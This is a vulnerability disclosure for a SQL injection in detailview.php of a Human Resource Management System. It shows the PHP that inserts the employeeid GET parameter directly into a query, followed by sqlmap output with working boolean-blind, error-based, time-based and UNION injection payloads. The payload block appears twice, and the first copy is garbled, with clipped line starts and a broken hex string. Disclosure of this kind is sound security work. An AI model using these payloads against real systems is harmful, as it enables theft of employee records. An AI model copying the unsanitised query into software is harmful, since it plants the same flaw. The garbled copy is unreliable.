Human Resource Management System detailview.php has Sqlinjection

A SQL injection vulnerability exists in the Human Resource Management System detailview.php. The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

Souce Code:

```php
if(isset($_GET['employeeid']))
{
    $empid = $_GET['employeeid'];

    $view = mysqli_query($db,"select * from employee where EmpId='$empid'");
    $row = mysqli_fetch_assoc($view);

    $genderid = $row['Gender'];
```

```
qlmap identified the following injection point(s) with a total of 263 HTTP(s) requests:
--
arameter: employeeid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: employeeid=1' RLIKE (SELECT (CASE WHEN (6875=6875) THEN 1 ELSE 0x28 END))-- YVEa

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: employeeid=1' OR (SELECT 2378 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(2378=2378,1))),0x7
b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- PGhU

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: employeeid=1' AND (SELECT 3569 FROM (SELECT(SLEEP(5)))FtPv)-- TkfP

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: employeeid=-7593' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717
1,0x4f566a587849736d7948595a567373777478665363617873507964506754554 54b50734350514a56,0x71716b6b71),NULL,NULL,NULL,
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
```

SqlMap Attack

```
---
Parameter: employeeid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: employeeid=1' RLIKE (SELECT (CASE WHEN (6875=6875) THEN 1
ELSE 0x28 END))-- YVEa

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: employeeid=1' OR (SELECT 2378 FROM(SELECT
COUNT(*),CONCAT(0x71716a7671,(SELECT
(ELT(2378=2378,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- PGhU

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: employeeid=1' AND (SELECT 3569 FROM
(SELECT(SLEEP(5)))FtPv)-- TkfP

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: employeeid=-7593' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716a
7671,0x4f566a587849736d7948595a5673737774786653636178735079645067545
54b50734350514a56,0x71716b6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
```